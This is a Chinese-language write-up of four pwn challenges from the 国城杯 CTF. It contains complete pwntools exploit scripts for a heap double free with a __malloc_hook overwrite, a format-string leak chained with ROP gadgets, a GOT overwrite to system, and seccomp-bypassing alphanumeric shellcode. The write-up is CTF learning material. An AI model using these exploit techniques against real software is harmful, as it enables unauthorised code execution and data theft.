国城杯pwn
vtable_hijack
使用ida打开一看发现基本什么漏洞都有了,算签到堆吧,最近正好学习了一下堆,没想到真给我做出来了,虽然比较基础,但还是非常开心。、
EXP:
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
context(arch=’amd64’,log_level=’debug’)
#context(arch=’i386’,log_level=’debug’)
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr():
return u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))
def ret_csu(r12, r13, r14, r15, last):
payload = offset * ‘a’
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += ‘a’ * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
io=process(‘./pwn’)
#io=remote(‘’,)
elf=ELF(‘./pwn’)
libc=ELF(‘./libc.so.6’)
def choose(num):
sla(b’choice:’,str(num))
def add(idx,size):
choose(1)
sla(b’index:’,str(idx))
sla(b’size:’,str(size))
def free(idx):
choose(2)
sla(b’index:’,str(idx))
def show(idx):
choose(4)
sla(b’index:’,str(idx))
def edit(idx,content):
choose(3)
sla(b’index:’,str(idx))
sla(b’length:’,str(len(content)))
sla(b’content:’,content)
add(0,0x410)
add(1,0x10)
free(0)
show(0)
libc_base=u64(io.recvuntil(b’\x7f’)[-6:].ljust(8,b’\x00’))-0x39BB78
print(hex(libc_base))
ogg=[0x3f3e6,0x3f43a,0xd5c07]
malloc_hook=libc_base+libc.sym[‘__malloc_hook’]
add(0,0x10)
add(1,0x10)
add(2,0x10)
payload=b’a’*0x10+p64(0)+p64(0x21)+p64(malloc_hook-0x23)
one=libc_base+ogg[2]
add(0,0x68)
add(1,0x68)
free(0)
free(1)
free(0)
add(2,0x68)#2
edit(2,p64(malloc_hook-0x23))
add(3,0x68)
add(4,0x68)
add(5,0x68)
edit(5,b’a’*0x13+p64(one))
add(6,0x20)
print(hex(one))
#debug()
inter()
Offensive_Security
本题一共三个要点,先来看第一个。


本题给了两个文件,有一个是作者自己写的libc库,所以要结合起来看。
这里我们首先看第一张图片。
首先进入Login函数,我们看到用到调用password,这里确定password是一个固定值。然后进入login函数查看具体功能。
可以看到这里是存在一个格式化字符串漏洞的,也就是说我们可以利用它来泄露我们想要的内容,这里恰巧password的地址给出了,那我们需要如何利用来进行泄露?这里我本人是忘记了相关的做法,后来也是看辉神的解法才想起来的。
这里我们调试看看

我们在格式化字符串处输入aaaaaaaabbbbbbb来看看,可以看到我们输入的地方,然后看一下大概是栈上的第几个参数

因该分别对应第8第9,也就是说,我们现在能控制两个参数,这里我们必须要指向0x6002b0时才能泄露出来password,那么我们在利用格式化字符串的时候将0x6002b0写入这两个参数中的任意一个再在剩下的一个字长中利用%s来泄露就可以泄露出正确的password。

进入到下一步:

这里pthrea_create没见过,没有关系,查一下:
pthread_create 是一个用于创建新线程的函数,属于 POSIX 线程(pthreads)库的一部分。在多线程编程中使用该函数可以启动一个新的线程来执行指定的函数。
也就是说现在这里出现的checker和guess函数属于同时进行的多线程函数。


这里checker主要功能就是检查authentication_code的位置上存放的内容是否为1,用户输入的内容是否为1,然后检查v1是否等于a_c,而guess的功能是检测输入并保存进a_c的内容是否为1。也就是说我在guess函数时输入1就会将a_c修改为1,然后再次输入1即可通过检测。

然后第三步就是主要考点。

此时我们已经进入shell函数,第一眼看过去感觉就是ret2libc,但是没有给Libc(其实也可以打,就是麻烦)。到这里就卡住了,也是在辉神的指导下,才知道了真正的考点。
看到汇编里有小惊喜。都是没见过的gadget,搜索一下吧。
在地址 0x40064E 处的代码片段:
1
2xlat
retnxlat: 这条指令用于根据查找表对 AL 寄存器中的字节进行转换。查找表由 DS:(E)BX 寄存器指向。它将 AL 中的字节替换为查找表中的对应字节。retn: 返回指令,从堆栈中弹出返回地址,并将控制转移到该地址。
在地址 0x400650 处的代码片段:
1
2
3
4
5pop rdx
pop rcx
add rcx, 0D093h
bextr rbx, rcx, rdx
retnpop rdx: 从堆栈弹出一个值到rdx寄存器。pop rcx: 从堆栈弹出一个值到rcx寄存器。add rcx, 0D093h: 将立即数0D093h(十进制是 33427)加到rcx寄存器中。bextr rbx, rcx, rdx: 位域提取(BEXTR)指令,从rcx中提取由rdx指定的位域,并将结果存入rbx中。retn: 返回指令,恢复之前的指令指针。
在地址 0x40065F 处的代码片段:
1
2stosb
retnstosb: 该指令将 AL 寄存器中的字节存储到由 RDI 寄存器指向的内存位置,然后根据方向标志(如果清除则递增)来递增或递减 RDI。retn: 返回指令,从堆栈中弹出返回地址并返回。
大致意思:
xlat:将rbx的内容赋值给al。
bextr:假设:
rcx的值是0b110101010101(一个二进制数),rdx的值是0x0408,其中0x08表示从第 8 位开始(从 0 开始数),0x04表示提取 4 位。
那么 bextr rbx, rcx, rdx 将会从 rcx 的第 8 位开始提取 4 位,结果为 0b0101,并将其放入 rbx。
就是根据给出的rcx,rdx控制rbx的值
stosb:将al中的内容赋值给rdi递增或递减rdi
这里我们现在能通过这三个gadget控制rbx->al->rdi。
并且这题其实有基本原题的题目存在,并且找到了相关文章。
https://www.kn0sky.com/?p=938527f1-03c4-4349-8110-5510f7d4b84a#6-fluff
修改一下相应的地址就可以打通。
EXP:
from pwn import *
from LibcSearcher import *
import ctypes
context(arch=’amd64’,log_level=’debug’,os=’linux’)
io=process(‘./attachment’)
elf=ELF(‘./attachment’)
password=0x6002b0
payload=b’%9$saaab’+p64(password)
io.sendafter(b’Username:’,payload)
#gdb.attach(io)
pause()
io.recvuntil(b’Welcome, \n’)
pwd=u64(io.recv(8))
print(hex(pwd))
io.sendafter(b’password: ‘,p64(pwd))
io.sendlineafter(b’[!] Guess the authentication code?’,b’1’)
io.sendlineafter(b’[!] Please enter your authentication code: \n’,b’1’)
pause()
pop_rdi_ret = 0x400661 # : pop rdi ; ret
stosb_rdi_al_ret = 0x40065F # : stosb byte ptr [rdi], al ; ret
xlatb_ret = 0x40064E # : xlat ; ret
bextr_ret = 0x400650
gdb.attach(io)
pause()
padding = b’A’ * 0x28
buffer = 0x000000000600900
printer=0x400647
def set_rbx(b:int):
p = b””
p += pack(bextr_ret)
p += pack(0x4000)
p += pack(b - 0x0D093)
return p
def set_al(a:bytes,offset:int):
tmp = next(elf.search(a)) - offset
#print(hex(tmp))
p = pack(xlatb_ret)
return set_rbx(tmp) + p
is_first = True
def save_al(val:bytes,offset:int):
global is_first
p = b””
if is_first:
p += pack(pop_rdi_ret)
p += pack(buffer)
is_first = False
p += pack(stosb_rdi_al_ret)
return set_al(val,offset) + p
def write_str(s:bytes):
p=b””
last_al = 0x0
for i in s:
p += save_al(p8(i),last_al)
last_al = i
return p
payload = write_str(b”flag.txt”)
payload += pack(pop_rdi_ret)
payload += pack(buffer)
payload += pack(printer)
io.sendline(padding + payload)
io.interactive()
有空可以研究一下,但感觉主要还是学习gadgets的功能,如果后面再有类似的题目直接套模板大概率都是直接出。
beverage store

随机数绕过。

一个选择,主要目的是最终修改的地方以及内容。还可以用来泄露。

还给了/bin/sh,这里其实已经可以想到要修改got表了。
注意上面的选择没有限制是否就可以输入负数,也就是说可以向上修改任意值。
上面正好就是got表。但是自己做的时候没往上翻,也没找到,明明已经想到咋做了(qaq)只能说对文件内容存放的位置不熟悉。
接下来就是泄露地址计算system然后覆盖了。
EXP:
from struct import pack
import ctypes
from LibcSearcher import *
from pwn import *
context(arch=’amd64’,log_level=’debug’)
#context(arch=’i386’,log_level=’debug’)
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr():
return u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))
def ret_csu(r12, r13, r14, r15, last):
payload = offset * ‘a’
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += ‘a’ * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
io=process(‘./pwn’)
#io=remote(‘’,)
elf=ELF(‘./pwn’)
libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
printf=elf.sym[‘printf’]
libcc=ctypes.CDLL(‘libc.so.6’)
seed=libcc.time(0)
libcc.srand(seed)
v1=libcc.rand()
sla(b’id’,p64(printf))
sla(b’code:’,str(v1))
#gdb.attach(io)
#pause()
sla(b’wine\n’,b’-4’)
sla(b’choose\n’,p64(0x40133B))
sla(b’wine\n’,b’-5’)
sa(b’choose\n’,b’aaaaaaaa’)
rl(b’aaaaaaaa’)
scanf=u64(io.recv(6).ljust(8,b’\x00’))
print(hex(scanf))
libc_base=scanf-libc.sym[‘__isoc99_scanf’]
system=libc_base+libc.sym[‘system’]
print(hex(libc_base))
print(hex(system))
sla(b’wine\n’,b’-7’)
s(p64(system))
sla(b’wine\n’,b’-4’)
sa(b’choose\n’,p64(0x401511))
debug()
inter()
这里一定要注意在修改地址的时候一定一定要用sa,不然会破坏结构导致乱跳。浪费了很多时间。(注”这里我用的本地环境打的,当时题目环境给错了)
alpha_shell

这里直接用ida打开发现是这样的并且没有main函数,f5没反应,咋回事捏?
在辉神的指导下才知道有花指令,就不细讲了,那是re✌要干的事。大致看一下特征吧
那么我们现在来去花。

将jz一行nop将jnz改为jmp,点击main,然后按下p重新检测函数即可。


这题还有沙箱,虽然熟练了就知道沙箱ban了哪些函数但是有工具为啥不用捏。

然后又遇到问题了,发现这里我们seccomp出不来,这是这么回事?前两个出现回显Invalid…这是因为我在发送数据时使用了回车(\n)导致函数检测没通过,后面的from…是因为我直接ctrl+c了。问了辉神之后才知道用ctrl+d就好了。作用是:
哎,跟着辉神总是能学到新知识啊。

这里可以看到常规的orw用不了了,但是没禁用openat和sendfile。
这里有点忘记区别了搜一下吧。
readv 函数
功能:
readv用于从文件描述符读取数据到多个缓冲区中。原型
:
1
ssize_t readv(int fd, const struct iovec *iov, int iovcnt);
参数
:
fd:要读取的文件描述符。iov:指向一个iovec结构数组,该数组每个元素包含一个缓冲区指针和大小。iovcnt:iov数组的元素个数。
返回值:成功时返回读取的字节数,失败时返回-1并设置
errno。
openat 函数
功能:
openat用于打开相对于某个目录文件描述符的文件。原型
:
1
int openat(int dirfd, const char *pathname, int flags, mode_t mode);
参数
:
dirfd:目录文件描述符,可以是AT_FDCWD(表示当前工作目录)。pathname:要打开的文件路径。flags:打开模式标志,如O_RDONLY、O_WRONLY。mode:用于指定文件权限(在创建时使用)。
返回值:成功时返回新文件描述符,失败时返回-1并设置
errno。
execveat 函数
功能:
execveat用于执行相对于某个目录文件描述符的可执行文件。原型
:
1
int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);
参数
:
dirfd:目录文件描述符。pathname:可执行文件路径。argv:传递给新程序的参数。envp:传递给新程序的环境变量。flags:执行标志,可以是0或AT_EMPTY_PATH(允许路径为空)。
返回值:成功执行时不会返回,失败时返回-1并设置
errno。
sendfile 函数
功能:
sendfile用于在文件描述符之间发送文件数据,通常用于在文件和套接字之间传输数据。原型
:
1
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
参数
:
out_fd:目标文件描述符(通常是套接字)。in_fd:源文件描述符(通常是文件)。offset:偏移量指针,从源文件的何处开始读取,可以为NULL。count:要发送的字节数。
返回值:成功时返回传输的字节数,失败时返回-1并设置
errno。
还有要注意
意思是shellcode中不能有数字,必须时纯字符。这是后我们就要写纯字符shellcode了,还真是没用过。
这里要用到ae64这个工具了,能够生成纯字符shellcode。
并且还有小细节
这里最后是call rdx因为我们的shellcode都从rdx开始。
EXP:
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *
from ae64 import AE64
context(arch=’amd64’,log_level=’debug’)
#context(arch=’i386’,log_level=’debug’)
def s(a):
io.send(a)
def sa(a, b):
io.sendafter(a, b)
def sl(a):
io.sendline(a)
def sla(a, b):
io.sendlineafter(a, b)
def r():
io.recv()
def pr():
print(io.recv())
def rl(a):
return io.recvuntil(a)
def inter():
io.interactive()
def debug():
gdb.attach(io)
pause()
def get_addr():
return u64(io.recvuntil(b’\x7f’)[-6:].ljust(8, b’\x00’))
def ret_csu(r12, r13, r14, r15, last):
payload = offset * ‘a’
#构造栈溢出的padding
payload += p64(gadget1)
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(gadget2)
#gadgets2的地址
payload += ‘a’ * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload
io=process(‘./pwn’)
#io=remote(‘’,)
elf=ELF(‘./pwn’)
#libc=ELF(‘./libc.so.6’)
openat=shellcraft.openat(-100,’flag’,0)
sendfile=shellcraft.sendfile(1,3,0,50)
payload=asm(openat)+asm(sendfile)
payload=AE64().encode(payload,”rdx”)
print(payload)
io.send(payload)
inter()
国城杯又学到很多东西,啥时候能像辉神一样ak就好了qaq。
